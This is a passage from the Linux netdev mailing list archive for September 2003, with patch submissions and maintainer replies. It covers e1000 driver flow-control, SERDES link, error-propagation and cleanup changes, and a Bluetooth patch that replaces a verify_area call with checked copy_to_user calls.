Thu, 25 Sep 2003 21:01:27 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA16619; Thu, 25 Sep 2003 20:48:04 -0700 Date: Thu, 25 Sep 2003 20:48:04 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] convert ipmr to seq_file. Message-Id: <20030925204804.00e457f1.davem@redhat.com> In-Reply-To: <20030925142351.18cda5dd.shemminger@osdl.org> References: <20030925142351.18cda5dd.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 273 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 204 Lines: 7 On Thu, 25 Sep 2003 14:23:51 -0700 Stephen Hemminger wrote: > Convert /proc/ip_mr_cache and /proc/ip_mr_vif to use seq_file. > Tested with 2.6.0-test5 latest. Looks good, applied. From davem@pizda.ninka.net Thu Sep 25 21:07:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 21:07:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q476Fx030323 for ; Thu, 25 Sep 2003 21:07:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA16676; Thu, 25 Sep 2003 20:53:40 -0700 Date: Thu, 25 Sep 2003 20:53:40 -0700 From: "David S. Miller" To: Christoph Hellwig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] net Kconfig consolidation Message-Id: <20030925205340.7d216b1a.davem@redhat.com> In-Reply-To: <20030925115717.GA32636@lst.de> References: <20030925115717.GA32636@lst.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 364 Lines: 11 On Thu, 25 Sep 2003 13:57:17 +0200 Christoph Hellwig wrote: > include net/ax25/Kconfig, net/irda/Kconfig and net/bluetooth/Kconfig > from net/Kconfig like all the other Kconfig files under net/. This > makes the per-arch Kconfig files quite a bit smaller and also makes > sure the option are available on all arches. Looks great, applied. Thanks. From davem@pizda.ninka.net Thu Sep 25 21:08:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 21:08:56 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q48qFx030734 for ; Thu, 25 Sep 2003 21:08:52 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA16697; Thu, 25 Sep 2003 20:55:30 -0700 Date: Thu, 25 Sep 2003 20:55:30 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: chas@cmf.nrl.navy.mil, levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) Message-Id: <20030925205530.2a166ccc.davem@redhat.com> In-Reply-To: <20030925194103.GE31418@gaz.sfgoth.com> References: <20030925170342.GA74937@compsoc.man.ac.uk> <200309251928.h8PJSZkT011995@ginger.cmf.nrl.navy.mil> <20030925194103.GE31418@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 145 Lines: 6 What I'm going to do is just merge in all of what Chas posted today, you can send me new patches to update this to John's latest code. Thanks. From scott.feldman@intel.com Thu Sep 25 22:19:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:19:31 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5JMFx003835 for ; Thu, 25 Sep 2003 22:19:23 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q5GtD14423 for ; Fri, 26 Sep 2003 05:16:55 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q5DrB20874 for ; Fri, 26 Sep 2003 05:13:54 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092522191622963 ; Thu, 25 Sep 2003 22:19:16 -0700 Date: Thu, 25 Sep 2003 22:46:59 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 2.6 1/4] flow control updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 4186 Lines: 104 * handle ethtool force flow control * correctly set flow control hi/low watermarks based on size of Rx FIFO area. The size can change if doing Jumbo Frames or, in the case of 82547, is smaller to start with. * was not properly forcing flow control settings to fc_none if using strict IEEE flow control override. --------------- diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_ethtool.c net-drivers-2.5/drivers/net/e1000.mod/e1000_ethtool.c --- net-drivers-2.5/drivers/net/e1000/e1000_ethtool.c 2003-09-24 21:16:04.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_ethtool.c 2003-09-24 21:18:26.000000000 -0700 @@ -230,11 +230,15 @@ e1000_ethtool_spause(struct e1000_adapte hw->original_fc = hw->fc; - if(netif_running(adapter->netdev)) { - e1000_down(adapter); - e1000_up(adapter); - } else - e1000_reset(adapter); + if(adapter->fc_autoneg == AUTONEG_ENABLE) { + if(netif_running(adapter->netdev)) { + e1000_down(adapter); + e1000_up(adapter); + } else + e1000_reset(adapter); + } + else + return e1000_force_mac_fc(hw); return 0; } diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000.h net-drivers-2.5/drivers/net/e1000.mod/e1000.h --- net-drivers-2.5/drivers/net/e1000/e1000.h 2003-09-24 21:16:04.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000.h 2003-09-24 21:18:34.000000000 -0700 @@ -107,11 +107,11 @@ struct e1000_adapter; #define E1000_TX_HEAD_ADDR_SHIFT 7 #define E1000_PBA_TX_MASK 0xFFFF0000 -/* Flow Control High-Watermark: 43464 bytes */ -#define E1000_FC_HIGH_THRESH 0xA9C8 +/* Flow Control High-Watermark: 5688 bytes below Rx FIFO size */ +#define E1000_FC_HIGH_DIFF 0x1638 -/* Flow Control Low-Watermark: 43456 bytes */ -#define E1000_FC_LOW_THRESH 0xA9C0 +/* Flow Control Low-Watermark: 5696 bytes below Rx FIFO size */ +#define E1000_FC_LOW_DIFF 0x1640 /* Flow Control Pause Time: 858 usec */ #define E1000_FC_PAUSE_TIME 0x0680 diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_hw.c net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.c --- net-drivers-2.5/drivers/net/e1000/e1000_hw.c 2003-09-24 21:16:04.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.c 2003-09-24 21:19:21.000000000 -0700 @@ -1865,11 +1865,12 @@ e1000_config_fc_after_link_up(struct e10 * be asked to delay transmission of packets than asking * our link partner to pause transmission of frames. */ - else if(hw->original_fc == e1000_fc_none || - hw->original_fc == e1000_fc_tx_pause) { + else if((hw->original_fc == e1000_fc_none || + hw->original_fc == e1000_fc_tx_pause) || + hw->fc_strict_ieee) { hw->fc = e1000_fc_none; DEBUGOUT("Flow Control = NONE.\r\n"); - } else if(!hw->fc_strict_ieee) { + } else { hw->fc = e1000_fc_rx_pause; DEBUGOUT("Flow Control = RX PAUSE frames only.\r\n"); } diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_main.c net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c --- net-drivers-2.5/drivers/net/e1000/e1000_main.c 2003-09-24 21:16:04.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c 2003-09-24 21:20:12.000000000 -0700 @@ -318,7 +318,13 @@ e1000_reset(struct e1000_adapter *adapte } E1000_WRITE_REG(&adapter->hw, PBA, pba); + /* flow control settings */ + adapter->hw.fc_high_water = pba - E1000_FC_HIGH_DIFF; + adapter->hw.fc_low_water = pba - E1000_FC_LOW_DIFF; + adapter->hw.fc_pause_time = E1000_FC_PAUSE_TIME; + adapter->hw.fc_send_xon = 1; adapter->hw.fc = adapter->hw.original_fc; + e1000_reset_hw(&adapter->hw); if(adapter->hw.mac_type >= e1000_82544) E1000_WRITE_REG(&adapter->hw, WUC, 0); @@ -621,13 +627,6 @@ e1000_sw_init(struct e1000_adapter *adap e1000_init_eeprom_params(hw); - /* flow control settings */ - - hw->fc_high_water = E1000_FC_HIGH_THRESH; - hw->fc_low_water = E1000_FC_LOW_THRESH; - hw->fc_pause_time = E1000_FC_PAUSE_TIME; - hw->fc_send_xon = 1; - if((hw->mac_type == e1000_82541) || (hw->mac_type == e1000_82547) || (hw->mac_type == e1000_82541_rev_2) || From scott.feldman@intel.com Thu Sep 25 22:21:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:21:33 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5LQFx004271 for ; Thu, 25 Sep 2003 22:21:27 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q5IxD14901 for ; Fri, 26 Sep 2003 05:18:59 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q5FwB21404 for ; Fri, 26 Sep 2003 05:15:58 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092522211918288 ; Thu, 25 Sep 2003 22:21:19 -0700 Date: Thu, 25 Sep 2003 22:49:03 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 2.6 2/4] force 1000/full on SERDES connected to back-plane switch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 3414 Lines: 73 * Bug fix: SERDES devices might be connected to back-plan switch that doesn't support auto-neg, so add the capability to force 1000/full. ------------- diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_hw.c net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.c --- net-drivers-2.5/drivers/net/e1000/e1000_hw.c 2003-09-24 21:20:30.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.c 2003-09-24 21:23:48.000000000 -0700 @@ -836,18 +836,16 @@ e1000_setup_fiber_serdes_link(struct e10 if(i == (LINK_UP_TIMEOUT / 10)) { DEBUGOUT("Never got a valid link from auto-neg!!!\n"); hw->autoneg_failed = 1; - if(hw->media_type == e1000_media_type_fiber) { - /* AutoNeg failed to achieve a link, so we'll call - * e1000_check_for_link. This routine will force the link up if - * we detect a signal. This will allow us to communicate with - * non-autonegotiating link partners. - */ - if((ret_val = e1000_check_for_link(hw))) { - DEBUGOUT("Error while checking for link\n"); - return ret_val; - } - hw->autoneg_failed = 0; + /* AutoNeg failed to achieve a link, so we'll call + * e1000_check_for_link. This routine will force the link up if + * we detect a signal. This will allow us to communicate with + * non-autonegotiating link partners. + */ + if((ret_val = e1000_check_for_link(hw))) { + DEBUGOUT("Error while checking for link\n"); + return ret_val; } + hw->autoneg_failed = 0; } else { hw->autoneg_failed = 0; DEBUGOUT("Valid Link Found\n"); @@ -1456,10 +1454,10 @@ e1000_phy_force_speed_duplex(struct e100 } /* Write back the modified PHY MII control register. */ - udelay(1); if((ret_val = e1000_write_phy_reg(hw, PHY_CTRL, mii_ctrl_reg))) return ret_val; + usec_delay(1); /* The wait_autoneg_complete flag may be a little misleading here. * Since we are forcing speed and duplex, Auto-Neg is not enabled. @@ -2046,9 +2044,10 @@ e1000_check_for_link(struct e1000_hw *hw * auto-negotiation time to complete, in case the cable was just plugged * in. The autoneg_failed flag does this. */ - else if((hw->media_type == e1000_media_type_fiber) && + else if((((hw->media_type == e1000_media_type_fiber) && + ((ctrl & E1000_CTRL_SWDPIN1) == signal)) || + (hw->media_type == e1000_media_type_internal_serdes)) && (!(status & E1000_STATUS_LU)) && - ((ctrl & E1000_CTRL_SWDPIN1) == signal) && (!(rxcw & E1000_RXCW_C))) { if(hw->autoneg_failed == 0) { hw->autoneg_failed = 1; @@ -2075,7 +2074,8 @@ e1000_check_for_link(struct e1000_hw *hw * Device Control register in an attempt to auto-negotiate with our link * partner. */ - else if((hw->media_type == e1000_media_type_fiber) && + else if(((hw->media_type == e1000_media_type_fiber) || + (hw->media_type == e1000_media_type_internal_serdes)) && (ctrl & E1000_CTRL_SLU) && (rxcw & E1000_RXCW_C)) { DEBUGOUT("RXing /C/, enable AutoNeg and stop forcing link.\r\n"); From scott.feldman@intel.com Thu Sep 25 22:24:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:24:07 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5NwFx004737 for ; Thu, 25 Sep 2003 22:24:00 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q5Iva19677 for ; Fri, 26 Sep 2003 05:18:58 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q5NOh12761 for ; Fri, 26 Sep 2003 05:23:25 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092522235004385 ; Thu, 25 Sep 2003 22:23:50 -0700 Date: Thu, 25 Sep 2003 22:51:34 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 2.6 3/4] better propagation of error codes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 4182 Lines: 164 * Better propagation of error codes during probe/open paths. {Janice Girouard (janiceg@us.ibm.com)] --------------- diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_main.c net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c --- net-drivers-2.5/drivers/net/e1000/e1000_main.c 2003-09-24 21:24:23.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c 2003-09-24 21:26:33.000000000 -0700 @@ -250,6 +250,7 @@ int e1000_up(struct e1000_adapter *adapter) { struct net_device *netdev = adapter->netdev; + int err; /* hardware has been reset, we need to reload some things */ @@ -262,9 +263,10 @@ e1000_up(struct e1000_adapter *adapter) e1000_configure_rx(adapter); e1000_alloc_rx_buffers(adapter); - if(request_irq(netdev->irq, &e1000_intr, SA_SHIRQ | SA_SAMPLE_RANDOM, - netdev->name, netdev)) - return -1; + if((err = request_irq(netdev->irq, &e1000_intr, + SA_SHIRQ | SA_SAMPLE_RANDOM, + netdev->name, netdev))) + return err; mod_timer(&adapter->watchdog_timer, jiffies); e1000_irq_enable(adapter); @@ -356,29 +358,32 @@ e1000_probe(struct pci_dev *pdev, int mmio_len; int pci_using_dac; int i; + int err; uint16_t eeprom_data; - if((i = pci_enable_device(pdev))) - return i; + if((err = pci_enable_device(pdev))) + return err; - if(!(i = pci_set_dma_mask(pdev, PCI_DMA_64BIT))) { + if(!(err = pci_set_dma_mask(pdev, PCI_DMA_64BIT))) { pci_using_dac = 1; } else { - if((i = pci_set_dma_mask(pdev, PCI_DMA_32BIT))) { + if((err = pci_set_dma_mask(pdev, PCI_DMA_32BIT))) { E1000_ERR("No usable DMA configuration, aborting\n"); - return i; + return err; } pci_using_dac = 0; } - if((i = pci_request_regions(pdev, e1000_driver_name))) - return i; + if((err = pci_request_regions(pdev, e1000_driver_name))) + return err; pci_set_master(pdev); netdev = alloc_etherdev(sizeof(struct e1000_adapter)); - if(!netdev) + if(!netdev) { + err = -ENOMEM; goto err_alloc_etherdev; + } SET_MODULE_OWNER(netdev); SET_NETDEV_DEV(netdev, &pdev->dev); @@ -393,8 +398,10 @@ e1000_probe(struct pci_dev *pdev, mmio_len = pci_resource_len(pdev, BAR_0); adapter->hw.hw_addr = ioremap(mmio_start, mmio_len); - if(!adapter->hw.hw_addr) + if(!adapter->hw.hw_addr) { + err = -EIO; goto err_ioremap; + } for(i = BAR_1; i <= BAR_5; i++) { if(pci_resource_len(pdev, i) == 0) @@ -432,7 +439,7 @@ e1000_probe(struct pci_dev *pdev, /* setup the private structure */ - if(e1000_sw_init(adapter)) + if((err = e1000_sw_init(adapter))) goto err_sw_init; if(adapter->hw.mac_type >= e1000_82543) { @@ -463,6 +470,7 @@ e1000_probe(struct pci_dev *pdev, if(e1000_validate_eeprom_checksum(&adapter->hw) < 0) { printk(KERN_ERR "The EEPROM Checksum Is Not Valid\n"); + err = -EIO; goto err_eeprom; } @@ -471,8 +479,10 @@ e1000_probe(struct pci_dev *pdev, e1000_read_mac_addr(&adapter->hw); memcpy(netdev->dev_addr, adapter->hw.mac_addr, netdev->addr_len); - if(!is_valid_ether_addr(netdev->dev_addr)) + if(!is_valid_ether_addr(netdev->dev_addr)) { + err = -EIO; goto err_eeprom; + } e1000_read_part_num(&adapter->hw, &(adapter->part_num)); @@ -545,7 +555,7 @@ err_ioremap: kfree(netdev); err_alloc_etherdev: pci_release_regions(pdev); - return -ENOMEM; + return err; } /** @@ -620,7 +630,7 @@ e1000_sw_init(struct e1000_adapter *adap if (e1000_set_mac_type(hw)) { E1000_ERR("Unknown MAC Type\n"); - return -1; + return -EIO; } /* initialize eeprom parameters */ @@ -675,18 +685,19 @@ static int e1000_open(struct net_device *netdev) { struct e1000_adapter *adapter = netdev->priv; + int err; /* allocate transmit descriptors */ - if(e1000_setup_tx_resources(adapter)) + if((err = e1000_setup_tx_resources(adapter))) goto err_setup_tx; /* allocate receive descriptors */ - if(e1000_setup_rx_resources(adapter)) + if((err = e1000_setup_rx_resources(adapter))) goto err_setup_rx; - if(e1000_up(adapter)) + if((err = e1000_up(adapter))) goto err_up; return 0; @@ -698,7 +709,7 @@ err_setup_rx: err_setup_tx: e1000_reset(adapter); - return -EBUSY; + return err; } /** From scott.feldman@intel.com Thu Sep 25 22:25:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:25:56 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5PmFx005169 for ; Thu, 25 Sep 2003 22:25:49 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8Q5NLD15702 for ; Fri, 26 Sep 2003 05:23:21 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8Q5KKB22237 for ; Fri, 26 Sep 2003 05:20:20 GMT Received: from [134.134.3.171] ([134.134.3.171]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092522254113067 ; Thu, 25 Sep 2003 22:25:42 -0700 Date: Thu, 25 Sep 2003 22:53:25 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 2.6 4/4] misc Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 3893 Lines: 104 * removed unused var, ASSERT macro * missed a free_netdev() in probe cleanup undo. ------------ diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_hw.h net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.h --- net-drivers-2.5/drivers/net/e1000/e1000_hw.h 2003-09-24 21:26:38.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_hw.h 2003-09-24 21:27:11.000000000 -0700 @@ -995,7 +995,6 @@ struct e1000_hw { uint32_t ledctl_mode1; uint32_t ledctl_mode2; uint16_t phy_spd_default; - uint16_t dsp_reset_counter; uint16_t autoneg_advertised; uint16_t pci_cmd_word; uint16_t fc_high_water; @@ -2109,5 +2108,4 @@ struct e1000_hw { #define AUTONEG_ADVERTISE_10_100_ALL 0x000F /* All 10/100 speeds*/ #define AUTONEG_ADVERTISE_10_ALL 0x0003 /* 10Mbps Full & Half speeds*/ - #endif /* _E1000_HW_H_ */ diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_main.c net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c --- net-drivers-2.5/drivers/net/e1000/e1000_main.c 2003-09-24 21:26:38.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_main.c 2003-09-24 21:28:06.000000000 -0700 @@ -30,6 +30,16 @@ /* Change Log * + * 5.2.18 9/13/03 + * o Bug fix: SERDES devices might be connected to a back-plane + * switch that doesn't support auto-neg, so add the capability + * to force 1000/Full. + * o Bug fix: Flow control settings for hi/lo watermark didn't + * consider changes in the Rx FIFO size, which could occur with + * Jumbo Frames or with the reduced FIFO in 82547. + * o Better propagation of error codes. [Janice Girouard + * (janiceg@us.ibm.com)]. + * * 5.2.16 8/8/03 * o Added support for new controllers: 82545GM, 82546GB, 82541/7_B1 * o Bug fix: reset h/w before first EEPROM read because we don't know @@ -47,19 +57,11 @@ * o Feature: Increase default Tx Descriptor count to 1024 for >= 82544. * * 5.1.13 5/28/03 - * o Bug fix: request_irq() failure resulted in freeing resources twice! - * [Don Fry (brazilnut@us.ibm.com)] - * o Bug fix: fix VLAN support on ppc64 [Mark Rakes (mrakes@vivato.net)] - * o Bug fix: missing Tx cleanup opportunities during interrupt handling. - * o Bug fix: alloc_etherdev failure didn't cleanup regions in probe. - * o Cleanup: s/int/unsigned int/ for descriptor ring indexes. - * - * 5.1.11 5/6/03 */ char e1000_driver_name[] = "e1000"; char e1000_driver_string[] = "Intel(R) PRO/1000 Network Driver"; -char e1000_driver_version[] = "5.2.16-k1"; +char e1000_driver_version[] = "5.2.19-k1"; char e1000_copyright[] = "Copyright (c) 1999-2003 Intel Corporation."; /* e1000_pci_tbl - PCI Device ID Table @@ -552,7 +554,7 @@ err_sw_init: err_eeprom: iounmap(adapter->hw.hw_addr); err_ioremap: - kfree(netdev); + free_netdev(netdev); err_alloc_etherdev: pci_release_regions(pdev); return err; @@ -1560,7 +1562,7 @@ e1000_tx_map(struct e1000_adapter *adapt * 4 = ceil(buffer len/mss). To make sure we don't * overrun the FIFO, adjust the max buffer len if mss * drops. */ - if (mss) + if(mss) max_per_txd = min(mss << 2, max_per_txd); #endif nr_frags = skb_shinfo(skb)->nr_frags; @@ -2333,7 +2335,7 @@ e1000_clean_rx_irq(struct e1000_adapter /** * e1000_alloc_rx_buffers - Replace used receive buffers - * @data: address of board private structure + * @adapter: address of board private structure **/ static void diff -Naurp net-drivers-2.5/drivers/net/e1000/e1000_osdep.h net-drivers-2.5/drivers/net/e1000.mod/e1000_osdep.h --- net-drivers-2.5/drivers/net/e1000/e1000_osdep.h 2003-09-24 21:26:38.000000000 -0700 +++ net-drivers-2.5/drivers/net/e1000.mod/e1000_osdep.h 2003-09-24 21:28:12.000000000 -0700 @@ -61,8 +61,6 @@ typedef enum { TRUE = 1 } boolean_t; -#undef ASSERT -#define ASSERT(x) if(!(x)) BUG() #define MSGOUT(S, A, B) printk(KERN_DEBUG S "\n", A, B) #if DBG From rddunlap@osdl.org Thu Sep 25 22:32:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:32:42 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5WZFx005916 for ; Thu, 25 Sep 2003 22:32:36 -0700 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q5WT115089; Thu, 25 Sep 2003 22:32:29 -0700 Date: Thu, 25 Sep 2003 21:56:37 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com, davem@redhat.com Cc: maxk@qualcomm.com Subject: [PATCH] janitor: bluetooth: remove unneeded verify_area call Message-Id: <20030925215637.42631e42.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 1043 Lines: 35 Hi, Please apply to 2.6.0-test5-current. Thanks, -- ~Randy From: Domen Puncer linux-260-t5bk12-kj-rddunlap/net/bluetooth/hci_core.c | 8 ++++---- 1 files changed, 4 insertions(+), 4 deletions(-) diff -puN net/bluetooth/hci_core.c~net_bluetooth_hcicore_verify net/bluetooth/hci_core.c --- linux-260-t5bk12-kj/net/bluetooth/hci_core.c~net_bluetooth_hcicore_verify 2003-09-25 16:01:20.000000000 -0700 +++ linux-260-t5bk12-kj-rddunlap/net/bluetooth/hci_core.c 2003-09-25 16:01:20.000000000 -0700 @@ -434,11 +434,11 @@ int hci_inquiry(unsigned long arg) BT_DBG("num_rsp %d", ir.num_rsp); - if (!verify_area(VERIFY_WRITE, ptr, sizeof(ir) + - (sizeof(struct inquiry_info) * ir.num_rsp))) { - copy_to_user(ptr, &ir, sizeof(ir)); + if (!copy_to_user(ptr, &ir, sizeof(ir))) { ptr += sizeof(ir); - copy_to_user(ptr, buf, sizeof(struct inquiry_info) * ir.num_rsp); + if (copy_to_user(ptr, buf, sizeof(struct inquiry_info) * + ir.num_rsp)) + err = -EFAULT; } else err = -EFAULT; _ From rddunlap@osdl.org Thu Sep 25 22:32:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 22:32:43 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8Q5WbFx005919 for ; Thu, 25 Sep 2003 22:32:37 -0700 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8Q5WU115175; Thu, 25 Sep 2003 22:32:31 -0700 Date: Thu, 25 Sep 2003 21:59:02 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: 